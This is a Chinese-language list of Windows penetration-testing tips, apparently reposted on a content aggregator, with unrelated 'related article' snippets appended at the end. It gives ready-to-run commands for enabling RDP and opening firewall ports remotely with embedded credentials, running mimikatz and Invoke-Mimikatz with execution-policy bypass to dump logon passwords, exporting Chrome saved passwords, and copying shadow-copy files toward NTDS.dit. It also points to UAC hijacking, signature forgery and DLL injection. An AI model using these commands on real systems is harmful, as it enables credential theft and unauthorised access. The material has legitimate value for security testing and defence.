REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

1表示关闭,0表示开启

查看远程连接的端口:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

2、本机开启3389远程连接的方法

方法1:通过cmd

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /fREG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

方法2:通过reg文件

内容如下:

Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]"fDenyTSConnections"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]"PortNumber"=dword:00000d3d

导入注册表:

regedit /s a.reg

注:

修改连接端口重启后生效

补充

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

3、远程连接方法

kali使用3389远程连接:

rdesktop 192.168.1.1:3389

Windows:

mstsc.exe

非服务器版本的Windows系统,默认只允许一个账户登录

具体表现为:

远程登录时,使用与原系统相同的账户,原系统将被切换到登录界面

使用不同的账户,原系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意)

解决方法:

使用mimikatz.exe,执行ts::multirdp允许多用户远程登录

能够实现不同帐户远程登录不冲突,原系统桌面不会弹框提示

当然,使用与原系统相同的账户,原系统还是会被切换到登录界面

注:

该方法在系统重启后失效,下次使用需要重新执行命令ts::multirdp

也可通过修改文件termsrv.dll实现永久修改

参考:

《渗透技巧——Windows系统远程桌面的多用户登录》

Tips 46 使用netsh修改远程系统的防火墙规则

远程系统需要允许Windows防火墙远程管理,开启命令如下:

netsh advfirewall set currentprofile settings remotemanagement enable

eg.

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

参考:

《域渗透——利用DCOM在远程系统执行程序》


Tips 47 劫持UAC

当弹出UAC提示框的时候,执行任意代码,可通过修改注册表劫持签名验证的功能,插入payload

参考:

《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》


Tips 48 PE文件的Authenticode签名伪造

通过修改注册表,能够给PE文件添加微软证书

参考:

《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》

《Authenticode签名伪造——针对文件类型的签名伪造》


Tips 49 PE文件的Catalog签名伪造

构造Long UNC文件名,实现文件名欺骗,获得Catalog签名

参考:

《Catalog签名伪造——Long UNC文件名欺骗》


Tips 50 mklink

用于创建符号链接,可理解为快捷方式

创建目录c:\test\1,指向c:\temp,可使用以下操作:

(1) 使用/D参数命令创建一个链接:

mklink /D "c:\test\1" "c:\Temp"

(2) 使用/J参数命令创建一个联接:

mklink /J "c:\test\1" "c:\Temp"

差异:

使用/D参数创建的链接,文件属性多了"快捷方式"

使用/J不需要管理员权限

使用/D需要管理员权限

应用:

更改释放文件的路径


Tips 51 powershell在执行脚本时传入参数

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""


Tips 52 dll注入方法

1、APC

参考:

《通过APC实现Dll注入——绕过Sysmon监控》

2、process hollowing

参考:

《傀儡进程的实现与检测》

3、Process Doppelgänging

参考:

《Process Doppelganging利用介绍》


Tips 53 域内默认共享目录

<DOMAIN>\SYSVOL<DOMAIN>\

所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等

参考:

《域渗透——利用SYSVOL还原组策略中保存的密码》


Tips 54 你的TeamViewer有可能被反控

如果你的TeamViewer版本为13.0.5058,不要随意连接未知的TeamViewer服务器,有可能被反控

参考:

《TeamViewer 13.0.5058中的权限漏洞测试》


Tips 55 远程查看域控登录、注销相关的日志:

方法1:

wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password

方法2:

(不推荐,直接下载文件太大)

获取域控文件:C:\Windows\System32\winevt\Logs\Security.evtx,筛选事件4624/4623/4672


Tips 56 判断当前系统是否处在待机状态

锁屏状态下GetForegroundWindow()的函数返回值为NULL,非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值

参考:

winapi - What happens 'behind' the windows lock screen? - Stack Overflow

Powershell脚本实现:

Writeup/CheckStandby.ps1 at master · 3gstudent/Writeup · GitHub


Tips 57 获得当前系统用户无输入的时间

通过API GetIdleTime进行判断

c#实现:

Getting the user idle time with C# - CodeProject

powershell脚本实现:

Writeup/GetIdleTime.ps1 at master · 3gstudent/Writeup · GitHub


Tips 58 判断当前系统的屏保启动时间

判断是否开启屏保:

查找注册表HKEY_CURRENT_USER\Control Panel\Desktop,是否存在键值SCRNSAVE.EXE

REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE

如果开启屏保,查看键值ScreenSaveTimeOut获得屏保启动时间(以秒为单位)

REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut


Tips 59 隐藏指定进程的界面

通过API ShowWindowAsync改变窗口状态

通过powershell实现,脚本可参考:

Writeup/HiddenProcess.ps1 at master · 3gstudent/Writeup · GitHub


Tips 60 通过Powershell对Windows系统截屏

脚本下载地址:

https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8/file/50729/1/Take-ScreenShot.ps1


Tips 61 查看当前Windows系统已安装的程序

通过枚举注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall下所有子健的DisplayName获取

注:

64位系统下32位程序的目录为HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall

powershell脚本实现的参考地址:

GitHub - 3gstudent/ListInstalledPrograms: List the programs that the current Windows system has installed


Tips 62 通过wmi获得当前系统的类型

wmic /NAMESPACE:"\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list

Tips 63 导出Chrome浏览器保存的密码:

1、在线获取

方法1:

读取数据库文件%LocalAppData%\Google\Chrome\User Data\Default\Login Data,如果Chrome浏览器正在运行,无法直接读取,需要先复制

在当前系统调用API CryptUnprotectData直接解密

方法2:

mimikatz

vault::cred

参考:

《渗透技巧——导出Chrome浏览器中保存的密码》

2、离线获取

使用Master Key,不需要获得用户明文密码

参考:

《渗透技巧——利用Masterkey离线导出Chrome浏览器中保存的密码》


Tips 64 通过ShadowCopy获得系统的历史文件

查询当前系统有无快照:

vssadmin list shadows

访问历史快照中的文件:

mklink /d c:\testvsc ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\dir c:\testvsc

参考:

《域渗透——获得域控服务器的NTDS.dit文件》


Tips 65 命令行执行多条命令的方法

aa && bb

执行aa,成功后再执行bb

aa || bb

先执行aa,若执行成功则不再执行bb,若失败则再执行bb

aa & bb

先执行aa再执行bb,无论aa是否成功


Tips 66 通过powershell发送邮件(包含附件)

两种方法,代码可参考:

GitHub - 3gstudent/SendMail-with-Attachments: Use powershell to send mail


Tips 67 通过powershell读取注册表获得所有用户的远程桌面连接历史记录

默认读注册表只能获取当前已登录用户的注册表信息,可通过reg load加载配置单元获得未登录用户的注册表配置

代码可参考:

GitHub - 3gstudent/ListInstalledPrograms: List the programs that the current Windows system has installed

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/597795.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

制作framework

参考学习地址 https://www.jianshu.com/p/a15ad98bc965 注意事项&#xff1a; 1、在自动生成的.h文件中引入头文件时&#xff0c;需要完整路径 2、编译成功后如何查看位置 3、合并模拟器和真机 4、最后如何使用 合并并替换后&#xff0c;就把真机部分复制出来使用就行 5、…

实战搭建网易有道的QAnything(一) 前提准备工作

前言&#xff1a; 早上地铁上刷到了关于有道的QAnything的介绍&#xff0c;刚好也有搭建一个知识库的想法&#xff0c;既然有想法那就干起来&#xff0c;电脑的操作系统用的win11&#xff0c;显卡用了两块4060。 一、安装windows子系统 1. 开始-》运行-》控制面板 打开原始的控…

JS小项目-计算器

需求&#xff1a;根据素材制作如图所示页面&#xff0c;在页面输入第一个数和第二个数&#xff0c;单击&#xff08;加&#xff09;、&#xff0d;&#xff08;减&#xff09;、&#xff0a;&#xff08;乘&#xff09;、&#xff0f;&#xff08;除&#xff09;按钮时&#xf…

二 maven构建项目

一 Maven的GAVP Maven工程相对之前的工程&#xff0c;多出一组gavp属性&#xff0c;gav需要我们在创建项目的时指定&#xff0c;p有默认值&#xff0c;后期通过配置文件修改。 GAVP是指 GroupId、ArtifactId、Version、Packaging 等四个属性的缩写&#xff0c;其中前三个是必…

Windows系统C盘空间优化进阶:磁盘清理与Docker日志管理

Windows系统C盘空间优化进阶&#xff1a;磁盘清理与Docker日志管理 文章目录 Windows系统C盘空间优化进阶&#xff1a;磁盘清理与Docker日志管理磁盘清理工具 使用“运行”命令访问磁盘清理利用存储感知自动管理空间清理WinSxS文件夹结合手动清理策略 小结删除临时文件总结&…

虚拟机打不开

问题 另一个程序已锁定文件的一部分&#xff0c;进程无法访问 打不开磁盘“G:\centeros\hadoop104kl\hadoop100-cl2.vmdk”或它所依赖的某个快照磁盘。 模块“Disk”启动失败。 未能启动虚拟机。 原因 前一次非正常关闭虚拟机导致.lck 文件是VMWare软件的一种磁盘锁文件&…

购买代码签名证书时需提供哪些认证资料?

在软件开发与发布过程中&#xff0c;确保软件的可靠性和完整性至关重要&#xff0c;为此购买代码签名证书是必不可少的环节。然而&#xff0c;许多开发者对于购买该证书所需的具体材料并不十分清楚。下面就为大家详细介绍购买代码签名证书所需材料&#xff0c;助您更好地筹备和…

HTTPS证书是什么?怎么获取?

HTTPS证书&#xff0c;全称是安全套接层&#xff08;SSL&#xff09;或传输层安全&#xff08;TLS&#xff09;证书&#xff0c;是一种数字证书&#xff0c;用于在互联网上建立安全的加密连接&#xff0c;确保数据在客户端&#xff08;如Web浏览器&#xff09;与服务器端&#…

Scaling Law解析

文章目录 scaling law一个token的计算量幂律关系幂律规律实际指导 scaling law 幂律法则&#xff1a;对大模型数据量、参数量、算力之间的最优分配 不仅仅是对语言大模型&#xff0c;对主要基于tranformer的多模态大模型基本都有效 对于Decoder-only结构模型(GPT架构)&#…

springboot整合ShardingSphere分库分表并插入1kw条记录

目录 一&#xff0c;数据分片 二&#xff0c;水平分片 三&#xff0c;创建数据库表 四&#xff0c;springboot项目导入依赖 五&#xff0c;创建类 六&#xff0c;bug bug放到最后了。 一&#xff0c;数据分片 数据分片指按照某个维度将存放在单一数据库中的数据分散地存…

鸿蒙TypeScript 开发学习第9天:【TypeScript Number】

1、TypeScript Number TypeScript 与 JavaScript 类似&#xff0c;支持 Number 对象。 Number 对象是原始数值的包装对象。 语法 var num new Number(value);复制注意&#xff1a; 如果一个参数值不能转换为一个数字将返回 NaN (非数字值)。 2、Number 对象属性 下表列出…

HCIA-Datacom H12-811 题库补充(4/7)

完整题库及答案解析&#xff0c;请直接扫描上方二维码&#xff0c;持续更新中 共享介质型网络使用哪一种技术进行数据转发&#xff1f; A&#xff1a;CDMA/CD B&#xff1a;CSMA/AC C&#xff1a;TDMA/CD D&#xff1a;CSMA/CD 答案&#xff1a;D 解析&#xff1a;以太网 CSMA …